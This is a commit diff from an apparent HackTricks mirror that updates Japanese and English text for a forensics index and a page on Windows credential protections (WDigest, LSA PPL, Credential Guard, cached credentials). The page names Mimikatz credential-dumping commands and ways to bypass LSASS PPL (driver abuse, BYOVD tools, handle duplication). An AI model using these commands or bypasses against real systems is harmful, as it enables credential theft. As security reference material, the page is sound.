mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/wi
This commit is contained in:
parent
0e752eab04
commit
6b1bd14361
@ -11,16 +11,16 @@
|
||||
|
||||
## マルウェア解析
|
||||
|
||||
この作業は **イメージを入手した直後に必ず最初に行う必要があるわけではありません**。しかし、ファイル、ファイルシステムイメージ、メモリイメージ、pcap... を持っている場合は、これらのマルウェア解析手法を独立して使用できます。したがって、これらの操作を**念頭に置いておく**ことが有用です:
|
||||
これは**イメージを取得したら必ず最初に行うべき手順ではありません**。ただし、ファイル、ファイルシステムイメージ、メモリイメージ、pcapなどを持っている場合、これらのマルウェア解析手法を独立して使用できます。したがって、これらの操作を**念頭に置いておく**と良いです:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
malware-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
## イメージの検査
|
||||
## イメージの調査
|
||||
|
||||
デバイスの**フォレンジックイメージ**が与えられた場合、使用されている**パーティションやファイルシステムの解析**を開始し、潜在的に**興味深いファイル**(削除されたものも含む)の**復元**を行うことができます。方法は次を参照してください:
|
||||
デバイスの**forensic image**が与えられた場合、使用されている**パーティションやファイルシステム**を解析し、潜在的に**興味深いファイル**(削除済みのものも含む)を**復元**することから始められます。方法は以下を参照してください:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -38,23 +38,23 @@ partitions-file-systems-carving/
|
||||
|
||||
## マルウェア解析
|
||||
|
||||
この作業は **イメージを入手した直後に必ず最初に行う必要があるわけではありません**。しかし、ファイル、ファイルシステムイメージ、メモリイメージ、pcap... を持っている場合は、これらのマルウェア解析手法を独立して使用できます。したがって、これらの操作を**念頭に置いておく**ことが有用です:
|
||||
これは**イメージを取得したら必ず最初に行うべき手順ではありません**。ただし、ファイル、ファイルシステムイメージ、メモリイメージ、pcapなどを持っている場合、これらのマルウェア解析手法を独立して使用できます。したがって、これらの操作を**念頭に置いておく**と良いです:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
malware-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
## イメージの検査
|
||||
## イメージの調査
|
||||
|
||||
デバイスの**フォレンジックイメージ**が与えられた場合、使用されている**パーティションやファイルシステムの解析**を開始し、潜在的に**興味深いファイル**(削除されたものも含む)の**復元**を行うことができます。方法は次を参照してください:
|
||||
デバイスの**forensic image**が与えられた場合、使用されている**パーティションやファイルシステム**を解析し、潜在的に**興味深いファイル**(削除済みのものも含む)を**復元**することから始められます。方法は以下を参照してください:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
partitions-file-systems-carving/
|
||||
{{#endref}}
|
||||
|
||||
使用されている OS やプラットフォームによって、検索すべき興味深いアーティファクトは異なります:
|
||||
使用されているOSやプラットフォームによって、検索すべき興味深いアーティファクトは異なります:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -76,17 +76,17 @@ docker-forensics.md
|
||||
ios-backup-forensics.md
|
||||
{{#endref}}
|
||||
|
||||
## 特定のファイルタイプやソフトウェアの詳細な解析
|
||||
## 特定のファイルタイプやソフトウェアの詳細解析
|
||||
|
||||
非常に**疑わしい****ファイル**を持っている場合、そのファイルを作成した**ファイルタイプやソフトウェア**に応じて、いくつかの**トリック**が有効な場合があります。\
|
||||
次のページを読んで、いくつかの興味深いトリックを学んでください:
|
||||
非常に**疑わしい****ファイル**がある場合、そのファイルを作成した**ファイルタイプやソフトウェア**に応じて、いくつかの**トリック**が有効な場合があります。\
|
||||
興味深いトリックを学ぶには次のページを読んでください:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
specific-software-file-type-tricks/
|
||||
{{#endref}}
|
||||
|
||||
特に次のページを推奨します:
|
||||
特に以下のページを挙げておきます:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -100,7 +100,7 @@ specific-software-file-type-tricks/browser-artifacts.md
|
||||
memory-dump-analysis/
|
||||
{{#endref}}
|
||||
|
||||
## pcap の解析
|
||||
## Pcapの解析
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -109,7 +109,7 @@ pcap-inspection/
|
||||
|
||||
## **アンチフォレンジック技術**
|
||||
|
||||
アンチフォレンジック技術が使用されている可能性を念頭に置いてください:
|
||||
アンチフォレンジック技術の使用が考えられることを念頭に置いてください:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -125,17 +125,17 @@ file-integrity-monitoring.md
|
||||
|
||||
|
||||
|
||||
## 特定のファイルタイプやソフトウェアの詳細な解析
|
||||
## 特定のファイルタイプやソフトウェアの詳細解析
|
||||
|
||||
非常に**疑わしい****ファイル**を持っている場合、そのファイルを作成した**ファイルタイプやソフトウェア**に応じて、いくつかの**トリック**が有効な場合があります。\
|
||||
次のページを読んで、いくつかの興味深いトリックを学んでください:
|
||||
非常に**疑わしい****ファイル**がある場合、そのファイルを作成した**ファイルタイプやソフトウェア**に応じて、いくつかの**トリック**が有効な場合があります。\
|
||||
興味深いトリックを学ぶには次のページを読んでください:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
specific-software-file-type-tricks/
|
||||
{{#endref}}
|
||||
|
||||
特に次のページを推奨します:
|
||||
特に以下のページを挙げておきます:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -147,29 +147,29 @@ specific-software-file-type-tricks/browser-artifacts.md
|
||||
|
||||
{{#ref}}
|
||||
memory-dump-analysis/
|
||||
{{#endref}
|
||||
{{#endref}}
|
||||
|
||||
## pcap の解析
|
||||
## Pcapの解析
|
||||
|
||||
|
||||
{{#ref}}
|
||||
pcap-inspection/
|
||||
{{#endref}
|
||||
{{#endref}}
|
||||
|
||||
## **アンチフォレンジック技術**
|
||||
|
||||
アンチフォレンジック技術が使用されている可能性を念頭に置いてください:
|
||||
アンチフォレンジック技術の使用が考えられることを念頭に置いてください:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
anti-forensic-techniques.md
|
||||
{{#endref}
|
||||
{{#endref}}
|
||||
|
||||
## 脅威ハンティング
|
||||
|
||||
|
||||
{{#ref}}
|
||||
file-integrity-monitoring.md
|
||||
{{#endref}
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,116 +1,172 @@
|
||||
# Windows Credentials Protections
|
||||
# Windows 資格情報の保護
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## WDigest
|
||||
|
||||
[WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>) プロトコルは、Windows XP と共に導入され、HTTP プロトコルを介した認証のために設計されており、**Windows XP から Windows 8.0 および Windows Server 2003 から Windows Server 2012 までデフォルトで有効**です。このデフォルト設定により、**LSASS にプレーンテキストのパスワードが保存されます**(ローカル セキュリティ認証局サブシステムサービス)。攻撃者は Mimikatz を使用して、次のコマンドを実行することで**これらの資格情報を抽出**できます:
|
||||
The [WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>) protocol, introduced with Windows XP, is designed for authentication via the HTTP Protocol and is **Windows XPからWindows 8.0およびWindows Server 2003からWindows Server 2012まで既定で有効になっています**。この既定の設定により、**平文パスワードがLSASSに保存されます** (Local Security Authority Subsystem Service)。攻撃者はMimikatzを使用して、以下を実行することでこれらの資格情報を**抽出することができます**:
|
||||
```bash
|
||||
sekurlsa::wdigest
|
||||
```
|
||||
この機能を**オフまたはオンに切り替える**には、_**UseLogonCredential**_ および _**Negotiate**_ レジストリキーを _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ 内で "1" に設定する必要があります。これらのキーが**存在しないか "0" に設定されている**場合、WDigestは**無効**になります。
|
||||
この機能をオフまたはオンに切り替えるには、 _**UseLogonCredential**_ と _**Negotiate**_ のレジストリキーが _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ 内で "1" に設定されている必要があります。もしこれらのキーが **存在しないか "0" に設定されている** 場合、WDigestは **無効** になります:
|
||||
```bash
|
||||
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
|
||||
```
|
||||
## LSA保護 (PPおよびPPL保護プロセス)
|
||||
## LSA Protection (PP & PPL 保護プロセス)
|
||||
|
||||
**保護プロセス (PP)** および **保護プロセスライト (PPL)** は、**LSASS** のような機密プロセスへの不正アクセスを防ぐために設計された **Windowsカーネルレベルの保護** です。**Windows Vista** で導入された **PPモデル** は、元々 **DRM** の施行のために作成され、**特別なメディア証明書** で署名されたバイナリのみが保護されることを許可していました。**PP** としてマークされたプロセスは、**同じくPP** で **同等またはそれ以上の保護レベル** を持つ他のプロセスからのみアクセス可能であり、その場合でも **特に許可されない限り、制限されたアクセス権** でのみアクセスできます。
|
||||
**Protected Process (PP)** および **Protected Process Light (PPL)** は、**LSASS** のような機微なプロセスへの不正アクセスを防ぐために設計された **Windows kernel-level protections** です。**Windows Vista** で導入された **PP モデル** は元々 **DRM** の強制のために作られ、**special media certificate** で署名されたバイナリのみを保護できました。**PP** とマークされたプロセスは、他の **PP** プロセスでかつ同等以上の保護レベルを持つプロセスからのみアクセス可能であり、特別に許可されていない限り **限定的なアクセス権しか持ちません**。
|
||||
|
||||
**PPL** は **Windows 8.1** で導入され、PPのより柔軟なバージョンです。**デジタル署名のEKU (Enhanced Key Usage)** フィールドに基づいて **「保護レベル」** を導入することで、**より広範なユースケース** (例: LSASS, Defender) を可能にします。保護レベルは `EPROCESS.Protection` フィールドに格納されており、これは以下を持つ `PS_PROTECTION` 構造体です:
|
||||
- **タイプ** (`Protected` または `ProtectedLight`)
|
||||
- **署名者** (例: `WinTcb`, `Lsa`, `Antimalware` など)
|
||||
**PPL** は **Windows 8.1** で導入された、PP のより柔軟なバージョンです。`EKU (Enhanced Key Usage)` フィールドに基づく **"protection levels"** を導入することで、(例:LSASS、Defender)などの **broader use cases** を可能にします。保護レベルは `EPROCESS.Protection` フィールドに格納され、これは以下を持つ `PS_PROTECTION` 構造体です:
|
||||
- **Type** (`Protected` or `ProtectedLight`)
|
||||
- **Signer** (例:`WinTcb`, `Lsa`, `Antimalware`, など)
|
||||
|
||||
この構造体は1バイトにパックされ、**誰が誰にアクセスできるか** を決定します:
|
||||
- **高い署名者値は低いものにアクセスできる**
|
||||
- **PPLはPPにアクセスできない**
|
||||
- **保護されていないプロセスはPPL/PPにアクセスできない**
|
||||
この構造は1バイトにパックされ、**誰が誰にアクセスできるか**を決定します:
|
||||
- **Higher signer values can access lower ones**
|
||||
- **PPLs can’t access PPs**
|
||||
- **Unprotected processes can't access any PPL/PP**
|
||||
|
||||
### 攻撃的な視点から知っておくべきこと
|
||||
### What you need to know from an offensive perspective
|
||||
|
||||
- **LSASSがPPLとして実行されている場合**、通常の管理者コンテキストから `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` を使用して開こうとすると、**`0x5 (アクセス拒否)`** で失敗します。たとえ `SeDebugPrivilege` が有効でもです。
|
||||
- **Process Hacker** のようなツールを使用するか、プログラム的に `EPROCESS.Protection` 値を読み取ることで **LSASSの保護レベルを確認**できます。
|
||||
- LSASSは通常、`PsProtectedSignerLsa-Light` (`0x41`) を持ち、**より高いレベルの署名者で署名されたプロセス**(例: `WinTcb` (`0x61` または `0x62`))のみがアクセスできます。
|
||||
- PPLは **ユーザーランド専用の制限** であり、**カーネルレベルのコードは完全にバイパスできます**。
|
||||
- LSASSがPPLであることは、**カーネルシェルコードを実行できる場合**や **適切なアクセス権を持つ高特権プロセスを利用できる場合** の資格情報ダンプを防ぎません。
|
||||
- **PPLの設定または削除** には再起動または **Secure Boot/UEFI設定** が必要で、これによりレジストリの変更が元に戻された後でもPPL設定が持続することがあります。
|
||||
- **LSASS が PPL として動作している場合**、通常の管理者コンテキストから `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` を使って開こうとすると、`SeDebugPrivilege` が有効であっても **`0x5 (Access Denied)` で失敗します**。
|
||||
- Process Hacker のようなツールを使うか、`EPROCESS.Protection` 値を読み取ってプログラム的に **LSASS の保護レベルを確認できます**。
|
||||
- LSASS は一般的に `PsProtectedSignerLsa-Light` (`0x41`) を持ち、これは `WinTcb` (`0x61` または `0x62`) のような **より高いレベルの signer で署名されたプロセスからのみアクセス可能です**。
|
||||
- PPL は **Userland-only restriction** であり、**kernel-level code はこれを完全にバイパスできます**。
|
||||
- LSASS が PPL であることは、**カーネルシェルコードを実行できる場合**や **適切なアクセス権を持つ高権限プロセスを利用できる場合** に、credential dumping を防ぎません。
|
||||
- **PPL の設定または解除**は再起動や **Secure Boot/UEFI settings** を必要とし、レジストリの変更を元に戻しても PPL 設定が持続する可能性があります。
|
||||
|
||||
**PPL保護をバイパスするオプション:**
|
||||
### Create a PPL process at launch (documented API)
|
||||
|
||||
PPLにもかかわらずLSASSをダンプしたい場合、主に3つのオプションがあります:
|
||||
1. **署名されたカーネルドライバ (例: Mimikatz + mimidrv.sys)** を使用して **LSASSの保護フラグを削除**します:
|
||||
Windows は拡張スタートアップ属性リストを使用して、子プロセス作成時に Protected Process Light レベルを要求する方法を文書化して公開しています。これは署名要件をバイパスするものではなく、対象のイメージは要求された signer クラスで署名されている必要があります。
|
||||
|
||||
C/C++ における最小の流れ:
|
||||
```c
|
||||
// Request a PPL protection level for the child process at creation time
|
||||
// Requires Windows 8.1+ and a properly signed image for the selected level
|
||||
#include <windows.h>
|
||||
|
||||
int wmain(int argc, wchar_t **argv) {
|
||||
STARTUPINFOEXW si = {0};
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
si.StartupInfo.cb = sizeof(si);
|
||||
|
||||
SIZE_T attrSize = 0;
|
||||
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
|
||||
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
|
||||
if (!si.lpAttributeList) return 1;
|
||||
|
||||
if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize)) return 1;
|
||||
|
||||
DWORD level = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // or WINDOWS_LIGHT/LSA_LIGHT/WINTCB_LIGHT
|
||||
if (!UpdateProcThreadAttribute(
|
||||
si.lpAttributeList, 0,
|
||||
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
|
||||
&level, sizeof(level), NULL, NULL)) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
DWORD flags = EXTENDED_STARTUPINFO_PRESENT;
|
||||
if (!CreateProcessW(L"C\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
|
||||
flags, NULL, NULL, &si.StartupInfo, &pi)) {
|
||||
// If the image isn't signed appropriately for the requested level,
|
||||
// CreateProcess will fail with ERROR_INVALID_IMAGE_HASH (577).
|
||||
return 1;
|
||||
}
|
||||
|
||||
// cleanup
|
||||
DeleteProcThreadAttributeList(si.lpAttributeList);
|
||||
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Notes and constraints:
|
||||
- Use `STARTUPINFOEX` with `InitializeProcThreadAttributeList` and `UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, ...)`, then pass `EXTENDED_STARTUPINFO_PRESENT` to `CreateProcess*`.
|
||||
- The protection `DWORD` can be set to constants such as `PROTECTION_LEVEL_WINTCB_LIGHT`, `PROTECTION_LEVEL_WINDOWS`, `PROTECTION_LEVEL_WINDOWS_LIGHT`, `PROTECTION_LEVEL_ANTIMALWARE_LIGHT`, or `PROTECTION_LEVEL_LSA_LIGHT`.
|
||||
- The child only starts as PPL if its image is signed for that signer class; otherwise process creation fails, commonly with `ERROR_INVALID_IMAGE_HASH (577)` / `STATUS_INVALID_IMAGE_HASH (0xC0000428)`.
|
||||
- This is not a bypass — it’s a supported API meant for appropriately signed images. Useful to harden tools or validate PPL-protected configurations.
|
||||
|
||||
Example CLI using a minimal loader:
|
||||
- Antimalware 署名者: `CreateProcessAsPPL.exe 3 C:\Tools\agent.exe --svc`
|
||||
- LSA-light 署名者: `CreateProcessAsPPL.exe 4 C:\Windows\System32\notepad.exe`
|
||||
|
||||
**Bypass PPL protections options:**
|
||||
|
||||
If you want to dump LSASS despite PPL, you have 3 main options:
|
||||
1. **Use a signed kernel driver (e.g., Mimikatz + mimidrv.sys)** to **remove LSASS’s protection flag**:
|
||||
|
||||

|
||||
|
||||
2. **自分の脆弱なドライバ (BYOVD)** を持ち込んでカスタムカーネルコードを実行し、保護を無効にします。**PPLKiller**、**gdrv-loader**、または **kdmapper** のようなツールを使用することでこれが可能になります。
|
||||
3. **別のプロセスから既存のLSASSハンドルを盗む**(例: AVプロセス)し、それを **自分のプロセスに複製**します。これは `pypykatz live lsa --method handledup` テクニックの基礎です。
|
||||
4. **任意のコードをそのアドレス空間にロードできる特権プロセスを悪用する**か、別の特権プロセス内にロードすることで、実質的にPPL制限をバイパスします。これに関する例は [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) または [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump) で確認できます。
|
||||
2. **Bring Your Own Vulnerable Driver (BYOVD)** to run custom kernel code and disable the protection. Tools like **PPLKiller**, **gdrv-loader**, or **kdmapper** make this feasible.
|
||||
3. Steal an existing LSASS handle from another process that has it open (e.g., an AV process), then **duplicate it** into your process. This is the basis of the `pypykatz live lsa --method handledup` technique.
|
||||
4. Abuse some privileged process that will allow you to load arbitrary code into its address space or inside another privileged process, effectively bypassing the PPL restrictions. You can check an example of this in [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) or [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump).
|
||||
|
||||
**LSASSのLSA保護 (PPL/PP) の現在の状態を確認**:
|
||||
**Check current status of LSA protection (PPL/PP) for LSASS**:
|
||||
```bash
|
||||
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL
|
||||
```
|
||||
**`mimikatz privilege::debug sekurlsa::logonpasswords`** を実行すると、これによりエラーコード `0x00000005` で失敗する可能性があります。
|
||||
When you running **`mimikatz privilege::debug sekurlsa::logonpasswords`** it'll probably fail with the error code `0x00000005` becasue of this.
|
||||
|
||||
- この件についての詳細は [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/) を確認してください。
|
||||
- このチェックの詳細は [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/)
|
||||
|
||||
|
||||
## Credential Guard
|
||||
|
||||
**Credential Guard** は **Windows 10 (Enterprise および Education エディション)** 専用の機能で、**Virtual Secure Mode (VSM)** と **Virtualization Based Security (VBS)** を使用してマシンの資格情報のセキュリティを強化します。これは、CPUの仮想化拡張を利用して、主要なプロセスを保護されたメモリ空間内に隔離し、メインオペレーティングシステムのアクセスから守ります。この隔離により、カーネルでさえもVSM内のメモリにアクセスできず、**pass-the-hash** のような攻撃から資格情報を効果的に保護します。**Local Security Authority (LSA)** はこの安全な環境内でトラストレットとして動作し、メインOSの**LSASS**プロセスはVSMのLSAとの通信を行うだけです。
|
||||
**Credential Guard**, a feature exclusive to **Windows 10 (Enterprise and Education editions)**, enhances the security of machine credentials using **Virtual Secure Mode (VSM)** and **Virtualization Based Security (VBS)**. It leverages CPU virtualization extensions to isolate key processes within a protected memory space, away from the main operating system's reach. This isolation ensures that even the kernel cannot access the memory in VSM, effectively safeguarding credentials from attacks like **pass-the-hash**. The **Local Security Authority (LSA)** operates within this secure environment as a trustlet, while the **LSASS** process in the main OS acts merely as a communicator with the VSM's LSA.
|
||||
|
||||
デフォルトでは、**Credential Guard** はアクティブではなく、組織内で手動での有効化が必要です。これは、資格情報を抽出する能力が制限されるため、**Mimikatz** のようなツールに対するセキュリティを強化するために重要です。ただし、カスタム **Security Support Providers (SSP)** を追加することで、ログイン試行中に資格情報を平文でキャプチャする脆弱性が依然として悪用される可能性があります。
|
||||
デフォルトでは **Credential Guard** は有効になっておらず、組織内で手動で有効化する必要があります。**Mimikatz** のようなツールによる認証情報抽出を難しくすることでセキュリティを向上させますが、ログオン時に認証情報を平文で取得するためにカスタムの **Security Support Providers (SSP)** を追加するなどの脆弱性は依然として存在します。
|
||||
|
||||
**Credential Guard** の有効化状態を確認するには、_**HKLM\System\CurrentControlSet\Control\LSA**_ の下にあるレジストリキー _**LsaCfgFlags**_ を調べることができます。値が "**1**" の場合は **UEFIロック** が有効で、"**2**" はロックなし、"**0**" は無効を示します。このレジストリチェックは強力な指標ですが、Credential Guardを有効にするための唯一のステップではありません。この機能を有効にするための詳細なガイダンスとPowerShellスクリプトはオンラインで入手可能です。
|
||||
**Credential Guard** の有効化状態を確認するには、レジストリの _**LsaCfgFlags**_(場所: _**HKLM\System\CurrentControlSet\Control\LSA**_)を調べます。値が "**1**" の場合は **UEFI lock** ありで有効、"**2**" はロックなしで有効、"**0**" は無効を示します。このレジストリ確認は強い指標ですが、Credential Guard を有効化するための唯一の手順ではありません。詳細な手順や有効化用の PowerShell スクリプトはオンラインで入手できます。
|
||||
```bash
|
||||
reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags
|
||||
```
|
||||
包括**Credential Guard**をWindows 10で有効にし、**Windows 11 Enterprise and Education (version 22H2)**の互換性のあるシステムでの自動アクティベーションに関する包括的な理解と指示については、[Microsoftのドキュメント](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage)を参照してください。
|
||||
For a comprehensive understanding and instructions on enabling **Credential Guard** in Windows 10 and its automatic activation in compatible systems of **Windows 11 Enterprise and Education (version 22H2)**, visit [Microsoft's documentation](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
|
||||
|
||||
資格情報キャプチャのためのカスタムSSPの実装に関する詳細は、[このガイド](../active-directory-methodology/custom-ssp.md)に記載されています。
|
||||
Further details on implementing custom SSPs for credential capture are provided in [this guide](../active-directory-methodology/custom-ssp.md).
|
||||
|
||||
## RDP RestrictedAdmin Mode
|
||||
|
||||
**Windows 8.1とWindows Server 2012 R2**は、_**RDPのRestricted Adminモード**_を含むいくつかの新しいセキュリティ機能を導入しました。このモードは、[**パス・ザ・ハッシュ**](https://blog.ahasayen.com/pass-the-hash/)攻撃に関連するリスクを軽減することで、セキュリティを強化することを目的としています。
|
||||
**Windows 8.1 and Windows Server 2012 R2** introduced several new security features, including the _**Restricted Admin mode for RDP**_. This mode was designed to enhance security by mitigating the risks associated with [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/) attacks.
|
||||
|
||||
従来、RDPを介してリモートコンピュータに接続する際、資格情報はターゲットマシンに保存されます。これは、特に特権のあるアカウントを使用する場合に、重大なセキュリティリスクをもたらします。しかし、_**Restricted Adminモード**_の導入により、このリスクは大幅に軽減されます。
|
||||
従来、RDP を介してリモートコンピューターに接続する際、あなたの資格情報はターゲットマシン上に保存されていました。これは、特に特権を持つアカウントを使用する場合に重大なセキュリティリスクとなります。しかし、_**Restricted Admin mode**_ の導入により、このリスクは大幅に軽減されます。
|
||||
|
||||
**mstsc.exe /RestrictedAdmin**コマンドを使用してRDP接続を開始すると、リモートコンピュータへの認証は、資格情報を保存することなく行われます。このアプローチにより、マルウェア感染や悪意のあるユーザーがリモートサーバーにアクセスした場合でも、資格情報がサーバーに保存されていないため、危険にさらされることはありません。
|
||||
コマンド **mstsc.exe /RestrictedAdmin** を使って RDP 接続を開始すると、認証はリモートコンピューター上に資格情報を保存することなく行われます。この方法により、malware に感染した場合や悪意のあるユーザーがリモートサーバーにアクセスした場合でも、資格情報がサーバー上に保存されていないため、資格情報が漏洩するリスクがありません。
|
||||
|
||||
**Restricted Adminモード**では、RDPセッションからネットワークリソースにアクセスしようとする試みは、個人の資格情報を使用せず、代わりに**マシンのアイデンティティ**が使用されることに注意が必要です。
|
||||
重要な点として、**Restricted Admin mode** では RDP セッションからネットワークリソースにアクセスしようとしてもあなたの個人の資格情報は使用されず、代わりに**machine's identity** が使用されます。
|
||||
|
||||
この機能は、リモートデスクトップ接続のセキュリティを強化し、セキュリティ侵害が発生した場合に機密情報が露出するのを防ぐための重要なステップです。
|
||||
この機能はリモートデスクトップ接続の保護を大きく前進させ、セキュリティ侵害時に機密情報が露出するのを防ぐ助けとなります。
|
||||
|
||||

|
||||
|
||||
詳細情報については、[このリソース](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/)を参照してください。
|
||||
For more detailed information on visit [this resource](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/).
|
||||
|
||||
## Cached Credentials
|
||||
|
||||
Windowsは、**Local Security Authority (LSA)**を通じて**ドメイン資格情報**を保護し、**Kerberos**や**NTLM**などのセキュリティプロトコルを使用してログオンプロセスをサポートします。Windowsの重要な機能の一つは、**最後の10回のドメインログイン**をキャッシュする能力であり、これにより**ドメインコントローラーがオフライン**の場合でもユーザーがコンピュータにアクセスできるようになります。これは、会社のネットワークから離れていることが多いノートパソコンユーザーにとって大きな利点です。
|
||||
Windows secures **domain credentials** through the **Local Security Authority (LSA)**, supporting logon processes with security protocols like **Kerberos** and **NTLM**. A key feature of Windows is its capability to cache the **last ten domain logins** to ensure users can still access their computers even if the **domain controller is offline**—a boon for laptop users often away from their company's network.
|
||||
|
||||
キャッシュされたログインの数は、特定の**レジストリキーまたはグループポリシー**を介して調整可能です。この設定を表示または変更するには、次のコマンドが使用されます:
|
||||
キャッシュされるログイン数は、特定の **レジストリキーまたはグループポリシー** によって調整可能です。この設定を表示または変更するには、次のコマンドを使用します:
|
||||
```bash
|
||||
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
|
||||
```
|
||||
これらのキャッシュされた資格情報へのアクセスは厳しく制御されており、**SYSTEM** アカウントのみがそれらを表示するための必要な権限を持っています。情報にアクセスする必要がある管理者は、SYSTEM ユーザー権限で行う必要があります。資格情報は次の場所に保存されています: `HKEY_LOCAL_MACHINE\SECURITY\Cache`
|
||||
Access to these cached credentials is tightly controlled, with only the **SYSTEM** account having the necessary permissions to view them. Administrators needing to access this information must do so with SYSTEM user privileges. The credentials are stored at: `HKEY_LOCAL_MACHINE\SECURITY\Cache`
|
||||
|
||||
**Mimikatz** は、コマンド `lsadump::cache` を使用してこれらのキャッシュされた資格情報を抽出するために使用できます。
|
||||
**Mimikatz** can be employed to extract these cached credentials using the command `lsadump::cache`.
|
||||
|
||||
詳細については、元の [source](http://juggernaut.wikidot.com/cached-credentials) が包括的な情報を提供しています。
|
||||
For further details, the original [source](http://juggernaut.wikidot.com/cached-credentials) provides comprehensive information.
|
||||
|
||||
## 保護されたユーザー
|
||||
## Protected Users
|
||||
|
||||
**保護されたユーザーグループ**へのメンバーシップは、資格情報の盗難や悪用に対するより高い保護レベルを確保するために、ユーザーにいくつかのセキュリティ強化を導入します。
|
||||
Membership in the **Protected Users group** introduces several security enhancements for users, ensuring higher levels of protection against credential theft and misuse:
|
||||
|
||||
- **資格情報の委任 (CredSSP)**: **デフォルトの資格情報を委任することを許可**するグループポリシー設定が有効であっても、保護されたユーザーのプレーンテキスト資格情報はキャッシュされません。
|
||||
- **Windows Digest**: **Windows 8.1 および Windows Server 2012 R2** 以降、システムは保護されたユーザーのプレーンテキスト資格情報をキャッシュしません。Windows Digest の状態に関係なく。
|
||||
- **NTLM**: システムは保護されたユーザーのプレーンテキスト資格情報や NT 一方向関数 (NTOWF) をキャッシュしません。
|
||||
- **Kerberos**: 保護されたユーザーに対して、Kerberos 認証は **DES** または **RC4 キー** を生成せず、プレーンテキスト資格情報や初回のチケット授与チケット (TGT) 取得を超える長期キーをキャッシュしません。
|
||||
- **オフラインサインイン**: 保護されたユーザーはサインインまたはロック解除時にキャッシュされた検証子が作成されないため、これらのアカウントではオフラインサインインはサポートされません。
|
||||
- **Credential Delegation (CredSSP)**: Even if the Group Policy setting for **Allow delegating default credentials** is enabled, plain text credentials of Protected Users will not be cached.
|
||||
- **Windows Digest**: Starting from **Windows 8.1 and Windows Server 2012 R2**, the system will not cache plain text credentials of Protected Users, regardless of the Windows Digest status.
|
||||
- **NTLM**: The system will not cache Protected Users' plain text credentials or NT one-way functions (NTOWF).
|
||||
- **Kerberos**: For Protected Users, Kerberos authentication will not generate **DES** or **RC4 keys**, nor will it cache plain text credentials or long-term keys beyond the initial Ticket-Granting Ticket (TGT) acquisition.
|
||||
- **Offline Sign-In**: Protected Users will not have a cached verifier created at sign-in or unlock, meaning offline sign-in is not supported for these accounts.
|
||||
|
||||
これらの保護は、**保護されたユーザーグループ**のメンバーであるユーザーがデバイスにサインインした瞬間に有効になります。これにより、資格情報の侵害に対するさまざまな方法から保護するための重要なセキュリティ対策が講じられます。
|
||||
これらの保護は、**Protected Users group** のメンバーであるユーザーがデバイスにサインインした瞬間から有効になります。これにより、資格情報の侵害に対する重要なセキュリティ対策が適用されます。
|
||||
|
||||
詳細な情報については、公式の [documentation](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group) を参照してください。
|
||||
For more detailed information, consult the official [documentation](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group).
|
||||
|
||||
**Table from** [**the docs**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
|
||||
|
||||
